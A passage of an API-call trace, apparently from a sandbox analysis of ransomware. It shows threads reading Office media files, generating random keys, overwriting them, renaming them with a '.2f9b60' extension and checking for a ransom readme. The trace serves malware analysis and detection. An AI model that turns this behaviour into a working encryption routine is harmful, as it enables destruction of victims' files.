lpNewFilePointer=0x0) returned 1 [0115.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0115.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0115.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ed0) returned 1 [0115.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20162d00 [0115.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0115.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0115.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0115.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.694] WriteFile (in: hFile=0x14b8, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3983fc20, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x3983fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0115.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0115.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0115.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a99d0 [0115.859] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.859] WriteFile (in: hFile=0x14b8, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3983fcd0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x3983fcd0*=0x10a, lpOverlapped=0x0) returned 1 [0115.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0115.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0115.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9af0 [0115.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9af0) returned 1 [0115.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9af0 [0115.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9730 [0115.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9730) returned 1 [0115.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0115.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0115.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f00 [0115.906] sprintf (in: _Dest=0x1b7d7f00, _Format="%c%c" | out: _Dest="a2") returned 2 [0115.906] sprintf (in: _Dest=0x1b7d7f02, _Format="%c%c" | out: _Dest="c9") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f04, _Format="%c%c" | out: _Dest="52") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f06, _Format="%c%c" | out: _Dest="03") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f08, _Format="%c%c" | out: _Dest="8b") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f0a, _Format="%c%c" | out: _Dest="cd") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f0c, _Format="%c%c" | out: _Dest="d3") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f0e, _Format="%c%c" | out: _Dest="af") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f10, _Format="%c%c" | out: _Dest="55") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f12, _Format="%c%c" | out: _Dest="01") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f14, _Format="%c%c" | out: _Dest="77") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f16, _Format="%c%c" | out: _Dest="f7") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f18, _Format="%c%c" | out: _Dest="d5") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f1a, _Format="%c%c" | out: _Dest="0d") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f1c, _Format="%c%c" | out: _Dest="5e") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f1e, _Format="%c%c" | out: _Dest="ff") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f20, _Format="%c%c" | out: _Dest="7f") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f22, _Format="%c%c" | out: _Dest="94") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f24, _Format="%c%c" | out: _Dest="e7") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f26, _Format="%c%c" | out: _Dest="e3") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f28, _Format="%c%c" | out: _Dest="60") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f2a, _Format="%c%c" | out: _Dest="81") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f2c, _Format="%c%c" | out: _Dest="ef") returned 2 [0115.907] sprintf (in: _Dest=0x1b7d7f2e, _Format="%c%c" | out: _Dest="3c") returned 2 [0115.907] RtlInitAnsiString (in: DestinationString=0x3983fd48, SourceString="a2c952038bcdd3af550177f7d50d5eff7f94e7e36081ef3c" | out: DestinationString="a2c952038bcdd3af550177f7d50d5eff7f94e7e36081ef3c") [0115.907] RtlAnsiStringToUnicodeString (in: DestinationString=0x3983fd18, SourceString="a2c952038bcdd3af550177f7d50d5eff7f94e7e36081ef3c", AllocateDestinationString=1 | out: DestinationString="a2c952038bcdd3af550177f7d50d5eff7f94e7e36081ef3c") returned 0x0 [0115.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0115.908] wcscat (in: _Dest=0x1b7ada20, _Source="a2c952038bcd" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a2c952038bcd") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a2c952038bcd" [0115.908] wcscat (in: _Dest=0x1b7ada20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a2c952038bcd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a2c952038bcd.2f9b60" [0115.908] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a2c952038bcd.2f9b60", NtPathName=0x3983fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a2c952038bcd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b8a0 [0115.908] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x3983fd90, FileInformation=0x2050b8a0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0115.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.942] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x3983fd58, FileInformation=0x3983fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3983fd58, FileInformation=0x3983fd68) returned 0x0 [0115.942] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x3983fd58, FileInformation=0x3983fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0115.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0115.980] FlushFileBuffers (hFile=0x14b8) returned 1 [0115.981] CloseHandle (hObject=0x14b8) returned 1 [0115.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86af20 [0115.985] wcscpy (in: _Dest=0x1b86af20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.985] wcscat (in: _Dest=0x1b86af20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86af20) returned 1 [0115.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86afb0) returned 1 Thread: id = 1247 os_tid = 0xcb0 [0115.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf")) returned 0x20 [0115.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF", dwFileAttributes=0x20) returned 1 [0115.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a0 [0115.640] GetFileSizeEx (in: hFile=0x14a0, lpFileSize=0x398cfce0 | out: lpFileSize=0x398cfce0*=43134) returned 1 [0115.640] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0xa87a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.640] ReadFile (in: hFile=0x14a0, lpBuffer=0x398cfc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x398cfca8, lpOverlapped=0x0 | out: lpBuffer=0x398cfc60*, lpNumberOfBytesRead=0x398cfca8*=0x4, lpOverlapped=0x0) returned 1 [0115.677] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0115.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.677] NtQuerySystemTime (in: CurrentTime=0x398cfba0 | out: CurrentTime=0x398cfba0*=132462177211414000) returned 0x0 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x6c7135aa [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x45a808d9 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x644933b1 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x204fc1 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x2a3a7c2 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x5ca2f5d8 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x54c05da1 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x682fd974 [0115.677] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x52380677 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x4186130e [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x6e92b455 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x7b5f5d96 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x398e8c6f [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x11a0c7e6 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x4a58518c [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x4f7d0340 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x394d63b9 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x5c41a1dd [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x47f18531 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x788efcb9 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x786643be [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x6895e2aa [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x28ab3750 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x521aa09e [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x36f9eae9 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x66cbff7e [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x58292575 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x5230c19b [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x2c6756ce [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x7c342a3f [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x1a3821c5 [0115.678] RtlRandomEx (in: Seed=0x398cfb90 | out: Seed=0x398cfb90) returned 0x5f945121 [0115.688] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.688] ReadFile (in: hFile=0x14a0, lpBuffer=0x201500b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x398cfc00, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesRead=0x398cfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0115.690] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0115.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619a0) returned 1 [0115.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2016e130 [0115.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0115.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.692] WriteFile (in: hFile=0x14a0, lpBuffer=0x2016e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x398cfc00, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesWritten=0x398cfc00*=0x3c00, lpOverlapped=0x0) returned 1 [0115.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0115.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0115.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260da0 [0115.715] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.716] WriteFile (in: hFile=0x14a0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x398cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x398cfcb0*=0x10a, lpOverlapped=0x0) returned 1 [0115.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0115.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0115.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0115.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0115.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.718] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="5c") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="0d") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="20") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="54") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="2f") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="d8") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="1b") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="c6") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="2f") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="4d") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="27") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="9c") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="e0") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="ab") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="87") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="c9") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="47") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="e1") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="be") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="73") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="67") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="3f") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="5f") returned 2 [0115.718] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="15") returned 2 [0115.718] RtlInitAnsiString (in: DestinationString=0x398cfd28, SourceString="5c0d20542fd81bc62f4d279ce0ab87c947e1be73673f5f15" | out: DestinationString="5c0d20542fd81bc62f4d279ce0ab87c947e1be73673f5f15") [0115.718] RtlAnsiStringToUnicodeString (in: DestinationString=0x398cfcf8, SourceString="5c0d20542fd81bc62f4d279ce0ab87c947e1be73673f5f15", AllocateDestinationString=1 | out: DestinationString="5c0d20542fd81bc62f4d279ce0ab87c947e1be73673f5f15") returned 0x0 [0115.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0115.719] wcscat (in: _Dest=0x1b7adac0, _Source="5c0d20542fd8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5c0d20542fd8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5c0d20542fd8" [0115.719] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5c0d20542fd8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5c0d20542fd8.2f9b60" [0115.719] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5c0d20542fd8.2f9b60", NtPathName=0x398cfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\5c0d20542fd8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.719] NtSetInformationFile (FileHandle=0x14a0, IoStatusBlock=0x398cfd70, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0115.721] NtQueryInformationFile (in: FileHandle=0x14a0, IoStatusBlock=0x398cfd38, FileInformation=0x398cfd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x398cfd38, FileInformation=0x398cfd48) returned 0x0 [0115.721] NtSetInformationFile (FileHandle=0x14a0, IoStatusBlock=0x398cfd38, FileInformation=0x398cfd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0115.722] FlushFileBuffers (hFile=0x14a0) returned 1 [0115.871] CloseHandle (hObject=0x14a0) returned 1 [0115.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a500 [0115.900] wcscpy (in: _Dest=0x1b86a500, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.900] wcscat (in: _Dest=0x1b86a500, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a500) returned 1 [0115.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b040) returned 1 Thread: id = 1248 os_tid = 0xcb4 [0115.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf")) returned 0x20 [0115.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF", dwFileAttributes=0x20) returned 1 [0115.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd7c [0115.708] GetFileSizeEx (in: hFile=0xd7c, lpFileSize=0x3938f8a0 | out: lpFileSize=0x3938f8a0*=10222) returned 1 [0115.708] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x27ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.708] ReadFile (in: hFile=0xd7c, lpBuffer=0x3938f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3938f868, lpOverlapped=0x0 | out: lpBuffer=0x3938f820*, lpNumberOfBytesRead=0x3938f868*=0x4, lpOverlapped=0x0) returned 1 [0115.860] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0115.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0115.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.861] NtQuerySystemTime (in: CurrentTime=0x3938f760 | out: CurrentTime=0x3938f760*=132462177213130000) returned 0x0 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x7f58ed63 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x72af1448 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x16399dc4 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x39014657 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x10eec4d [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x2993dce2 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x662258ea [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x3c057983 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x5298480b [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0xc2a4800 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0xf91493d [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x1f23926d [0115.861] RtlRandomEx (in: Seed=0x3938f750 | 